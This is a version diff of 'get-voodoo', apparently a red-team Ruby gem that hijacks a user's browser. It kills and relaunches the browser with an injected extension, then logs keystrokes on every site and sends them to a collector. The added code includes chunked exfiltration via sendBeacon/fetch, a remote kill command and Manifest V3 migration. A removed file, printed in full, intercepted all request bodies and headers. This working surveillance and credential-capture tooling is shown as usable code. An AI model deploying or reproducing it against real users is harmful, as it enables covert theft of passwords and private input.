get-voodoo 0.0.11 → 0.1.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 965c3f91b6855d9b381e18ced1bfee172e5273d3180d50ef7a2892a66adbd30d
-  data.tar.gz: e20ea428ba96e9c5f82ab31a5bab21761c189cd451d05b31bbc38ec0f857b56d
+  metadata.gz: 6e8e2178d211d0179e93ab412fc8cace43a66123f0066dd7ce4718d239700ac9
+  data.tar.gz: 4dea98486dbe10e781423ce2296f298d3602cac6b4901ac04df22c52206909ab
 SHA512:
-  metadata.gz: a8a34ddd9b063f44353195203f633f16e9fcdb872cbab1b52662b2e9582a9af5ba4ced78c708cafebd9408196a5dfd7034296b141acc11b13bdc9a05b27920b9
-  data.tar.gz: 03c5e0884a62321e2053b93a3f8d606252bb127aded3748a997f33002d56070720e9a63a835ab96abbf2e70c1c99b8d0fb4550e11348c4ccd2cdc6921cfe4d2e
+  metadata.gz: 76dd0860f46f7922f23a9b714a68ec5f20971b77ec08e9233b0c774fcf47be8c2d1adbb359479e3f7173b712423d72bebfc8b361b0fccd7cf87c8839bc1a0a55
+  data.tar.gz: d61163401be6e9b06ef78cbbb1c26e195d55d7dff2bca5f67ae1565e2b19b0892caa69695b3fee368452b2df51f84e86e4c360ac348161d37372599e42f70e08

data/lib/voodoo/browser.rb

@@ -14,8 +14,9 @@ module VOODOO
             @process_name = process_name
             @collector_threads = []
 
-            @extension.manifest[:permissions] = ['tabs', '*://*/*', 'webRequest']
-            @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
+            @extension.manifest[:permissions] = ['tabs', 'storage']
+            matches = '*://*/*'
+            #@extension.add_content_script(matches, js: [File.join(__dir__, 'js/collector.js')])
         end
 
         def keylogger(matches: '*://*/*', max_events: nil)
@@ -25,39 +26,31 @@ module VOODOO
             ) do |event|
                 yield event
             end
-        end
-
-        def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
-            options = {
-                matches: matches,
-                url_include: url_include,
-                body_include: body_include,
-                header_exists: header_exists
-            }
-
-            add_script(options: options,
-                       background: true,
-                       max_events: max_events,
-                       file: File.join(__dir__, 'js/intercept.js')
-            ) do |event|
-                yield event
-            end
-        end
+        end         
 
         def add_permissions(permissions)
             permissions = [permissions] unless permissions.is_a? Array
             @extension.manifest[:permissions] += permissions
         end
 
-        def hijack(urls = [], flags: '')
+        def add_host_permissions(hosts)
+            hosts = [hosts] unless hosts.is_a? Array
+            @extension.manifest[:host_permissions] += hosts
+        end
+
+        def close_browser
             # kill the browser process twise, to bypass close warning
             `pkill -a -i "#{@process_name}"`
             `pkill -a -i "#{@process_name}"`
             sleep 0.2
+        end
+
+        def hijack(urls = [], flags: '')
+            close_browser()
 
             urls = [urls] unless urls.kind_of? Array
             urls = urls.uniq
-
+            
             `open -b "#{@bundle}" --args #{flags} --load-extension="#{@extension.save}" #{urls.shift}`
 
             if urls.length > 0
@@ -92,7 +85,7 @@ module VOODOO
             self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
         end
 
-        def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil)
+        def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil, communication: true)
             if matches != nil && background != false
                 puts 'WARNING: matches is ignored when background is set to true.'
             end
@@ -107,8 +100,8 @@ module VOODOO
 
             event_count = 0
 
-            if block_given?
-                collector = Collector.new
+            if block_given? && communication == true
+                collector = Collector.new(close_browser: method(:close_browser))
                 collector.on_json {|jsond|
                     yield jsond
                     if (max_events != nil)
@@ -149,24 +142,14 @@ module VOODOO
             content = content % options
             
             if background == true
-                return @extension.add_background_script(content: content)
+                return @extension.add_service_worker(content: content)
             else
                 if matches == nil
                     matches = '*://*/*'
                 end
-                
                 return @extension.add_content_script(matches, js: [content])
             end
         end
-
-        protected
-
-        def make_collector
-            collector = Collector.new
-            collector.on_json {|jsond| yield jsond }
-            @collector_threads.push(collector.thread)
-            return collector
-        end
     end
 
 end

data/lib/voodoo/cli.rb

@@ -6,7 +6,7 @@ require 'voodoo/browser'
 
 module VOODOO
 
-    VERSION = 'v0.0.11'
+    VERSION = 'v0.1.0'
 
     class CLI < Thor
 
@@ -14,30 +14,6 @@ module VOODOO
         def version
             puts VERSION
         end
-        
-        option :url_include, :type => :string, :aliases => :u, :default => nil
-        option :body_include, :type => :string, :aliases => :i, :default => nil
-        option :header_exists, :type => :string, :aliases => :h, :default => nil
-        option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
-        option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
-        option :urls, :type => :array, :aliases => :x, :default => []
-        option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
-        option :browser, :type => :string, :aliases => :b, :default => 'chrome'
-        option :max_events, :type => :numeric, :default => nil
-        desc 'intercept', 'Intercept browser requests'
-        def intercept
-            browser = get_browser options[:browser]
-            output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
-
-            browser.intercept(matches: options[:matches],
-                              url_include: options[:url_include],
-                              body_include: options[:body_include],
-                              max_events: options[:max_events]) do |event|
-                output_handler.handle(event)
-            end
-
-            browser.hijack options[:urls]
-        end
 
         option :urls, :type => :array, :aliases => :x, :default => []
         option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
@@ -56,7 +32,7 @@ module VOODOO
             file = nil
             content = nil
 
-            if File.exists? path_or_js
+            if File.exist? path_or_js
                 file = path_or_js
             else
                 content = path_or_js
@@ -108,11 +84,15 @@ module VOODOO
             end
 
             browser_inst = template['browser'] || {}
-            browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
+            browser = get_browser(options[:browser] || browser_inst['name'] || browser_inst['default'] || 'chrome')
 
             if template['permissions']
                 browser.add_permissions template['permissions']
             end
+
+            if template['host_permissions']
+                browser.add_host_permissions template['host_permissions']
+            end
             
             output_format = options[:format]
             is_default = output_format == 'none'
@@ -126,11 +106,19 @@ module VOODOO
             template['scripts'].each do |script|
                 file = File.expand_path(File.join(pwd, script['file'])) if script['file']
                 content = script['content']
-                matches = script['matches']
+                matches = script['matches'] || ['*://*/*']
                 background = script['background'] || false
-                
+                if background
+                    matches = nil
+                end
+                communication = true
+
+                if script.keys.include? 'communication'
+                    communication = script['communication']
+                end
+
                 if output_handler.writable
-                    browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event|
+                    browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background, communication: communication) do |event|
                         output_handler.handle(event)
                     end
                 else

data/lib/voodoo/collector.rb

@@ -9,7 +9,9 @@ module VOODOO
         attr_reader :thread
         attr_reader :token
 
-        def initialize(port = 0)
+        def initialize(port = 0, close_browser: nil)
+            @chunks = []
+            @close_browser = close_browser
             if port == 0
                 tmp_server = TCPServer.open('127.0.0.1', 0)
                 @port = tmp_server.addr[1]
@@ -50,6 +52,31 @@ module VOODOO
                         socket.close
                         
                         jsonData = JSON.parse(post_body, {:symbolize_names => true})
+
+                        if jsonData[:log]
+                            puts jsonData[:log]
+                        end
+
+                        if jsonData[:chunk]
+                            @chunks << jsonData[:payload][1]
+                            if jsonData[:payload][0] == @chunks.length
+                                payload = {
+                                    payload: @chunks.join('')
+                                }
+                                @chunks = []
+                                yield payload
+                            end
+                            return
+                        end
+
+                        if jsonData[:kill] == true
+                            if jsonData[:close_browser] && @close_browser != nil
+                                @close_browser.call()
+                            end
+                            self.thread.kill
+                            return
+                        end
+                        
                         yield jsonData
                     rescue
                     end

data/lib/voodoo/extension.rb

@@ -17,16 +17,17 @@ module VOODOO
                 author: '~',
                 description: '',
                 version: '0.0.1',
-                manifest_version: 2,
-                background: {
-                    scripts: []
-                },
+                manifest_version: 3,
                 permissions: [],
-                content_scripts: []
+                host_permissions: [],
+                content_scripts: [],
+                background: {
+                    service_worker: nil
+                }
             }
         end
 
-        def add_background_script(content: nil, file: nil)
+        def add_service_worker(content: nil, file: nil)
             if content == nil && file != nil
                 content = File.read file
             end
@@ -34,7 +35,7 @@ module VOODOO
                 raise StandardError.new(':content or :file argument are required')
             end
             path = add_file(content, with_extension: '.js')
-            @manifest[:background][:scripts] << path
+            @manifest[:background][:service_worker] = path
         end
 
         def add_content_script(matches, js: [], css: [])
@@ -52,6 +53,10 @@ module VOODOO
 
         def save
             @manifest[:permissions] = @manifest[:permissions].uniq
+            service_worker = @manifest[:background][:service_worker]
+            if service_worker == nil || service_worker == ''
+                @manifest[:background].delete(:service_worker)
+            end
             manifest_path = File.join(@folder, 'manifest.json')
             File.write(manifest_path, JSON.generate(@manifest))
             return @folder

data/lib/voodoo/js/keylogger.js

@@ -40,9 +40,10 @@
     });
 
     window.addEventListener("keydown", function (event) {
-        if (lastElement !== event.path[0]) {
-            lastElement = event.path[0];
-            output += `\n[ELEMENT => ${describe(event.path[0])}]\n`
+        const path = event.composedPath();
+        if (lastElement !== path[0]) {
+            lastElement = path[0];
+            output += `\n[ELEMENT => ${describe(path[0])}]\n`;
         }
         if (event.key.length > 1) {
             output += `[${event.key}]`;

data/lib/voodoo/js/voodoo.js

@@ -1,28 +1,68 @@
-if (!sessionStorage.tab_uuid) {
-    sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
-}
+let tab_uuid = Math.random().toString(16).substring(2);
 
 const VOODOO = {
     options: { collector_url: "%{collector_url}" },
-    send(payload) {
-        if (!VOODOO.options.collector_url) {
+    utils: {
+        sleep(ms) {
+            return new Promise(resolve => setTimeout(resolve, ms));
+        },
+        chunk_string(str, length) {
+            return str.match(new RegExp('.{1,' + length + '}', 'g'));
+        },
+        send(body) {
+            if (!VOODOO.options.collector_url) {
+                return;
+            }
+
+            body = JSON.stringify(body);
+            if (navigator && navigator.sendBeacon) {
+                navigator.sendBeacon(VOODOO.options.collector_url, body);
+            } else {
+                fetch(VOODOO.options.collector_url, {
+                    method: "POST",
+                    headers: {
+                        "Content-Type": "application/json"
+                    },
+                    mode: "no-cors",
+                    body
+                });
+            }
+        }
+    },
+    log(msg) {
+        VOODOO.utils.send({ log: msg.toString() });
+        return VOODOO;
+    },
+    kill(options = {}) {
+        VOODOO.utils.send({ ...options, kill: true });
+        return VOODOO;
+    },
+    async send(payload) {
+        let chunks = [];
+
+        if (typeof payload === "string" && payload.length > 10000) {
+            chunks = VOODOO.utils.chunk_string(payload, 10000);
+        }
+
+        if (chunks.length > 0) {
+            for (let i in chunks) {
+                VOODOO.utils.send({
+                    chunk: i,
+                    payload: [chunks.length, chunks[i]]
+                });
+                await VOODOO.utils.sleep(1);
+            }
             return;
         }
 
-        const body = JSON.stringify({
+        VOODOO.utils.send({
             time: new Date().getTime(),
-            tab_uuid: sessionStorage.tab_uuid,
-            origin: window.location.origin,
+            tab_uuid: tab_uuid,
+            origin: location.origin,
             payload
         });
 
-        if (window.location.href.indexOf("_generated_background_page.html") !== -1) {
-            return navigator.sendBeacon(VOODOO.options.collector_url, body);
-        }
-
-        chrome.runtime.sendMessage({
-            collector_url: VOODOO.options.collector_url, body
-        });
+        return VOODOO;
     }
 };
 

data/lib/voodoo/output.rb

@@ -35,14 +35,6 @@ module VOODOO
                     case @command
                         when 'keylogger'
                             write event[:payload], with_print: true
-                        when 'intercept'
-                            req = event[:payload]
-                            write "#{req[:method]} #{req[:url]}"
-                            req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
-                            
-                            if req[:body]
-                                write "BODY: #{event[:payload][:body]}"
-                            end 
                         else
                             write JSON.generate(event[:payload])
                     end

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: get-voodoo
 version: !ruby/object:Gem::Version
-  version: 0.0.11
+  version: 0.1.0
 platform: ruby
 authors:
 - Ron Masas
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2022-03-14 00:00:00.000000000 Z
+date: 2024-12-23 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: thor
@@ -80,7 +80,6 @@ files:
 - lib/voodoo/collector.rb
 - lib/voodoo/extension.rb
 - lib/voodoo/js/collector.js
-- lib/voodoo/js/intercept.js
 - lib/voodoo/js/keylogger.js
 - lib/voodoo/js/voodoo.js
 - lib/voodoo/output.rb

data/lib/voodoo/js/intercept.js

@@ -1,90 +0,0 @@
-/**
- * VOODOO Intercept
- */
-(function () {
-    let options = {
-        body_include: "%{body_include}",
-        url_include: "%{url_include}",
-        collector_url: "%{collector_url}",
-        header_exists: "%{header_exists}"
-    };
-
-    let matches = "%{matches}";
-
-    if (options.header_exists) {
-        options.header_exists = options.header_exists.toLowerCase();
-    }
-
-    if (!Array.isArray(matches)) {
-        matches = [matches];
-    }
-
-    function parseBody(body) {
-        if (body.formData) {
-            return JSON.stringify(body.formData);
-        }
-
-        try {
-            return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
-        } catch {
-            return "";
-        }
-    }
-
-    const requests = new Map();
-
-    chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
-        const request = requests.get(e.requestId);
-
-        if (!request) {
-            return;
-        }
-
-        requests.delete(e.requestId);
-        request.headers = e.requestHeaders;
-
-        if (options.header_exists) {
-            let found = false;
-            for (let header of request.headers) {
-                if (header.name.toLowerCase() === options.header_exists) {
-                    found = true;
-                    break;
-                }
-            }
-            if (!found) {
-                return;
-            }
-        }
-
-        VOODOO.send(request);
-    }, { urls: matches }, ['requestHeaders', 'extraHeaders'])
-
-    chrome.webRequest.onBeforeRequest.addListener(
-        function (request) {
-            if (request.url.startsWith(options.collector_url)) {
-                return { cancel: false };
-            }
-
-            if (options.url_include && request.url.indexOf(options.url_include) === -1) {
-                return { cancel: false };
-            }
-
-            if (options.body_include && !request.requestBody) {
-                return { cancel: false };
-            }
-
-            if (request.requestBody) {
-                request.body = parseBody(request.requestBody);
-                delete request.requestBody;
-                if (options.body_include && request.body.indexOf(options.body_include) === -1) {
-                    return { cancel: false };
-                }
-            }
-
-            requests.set(request.requestId, request);
-            return { cancel: false };
-        },
-        { urls: matches },
-        ['requestBody']
-    );
-})();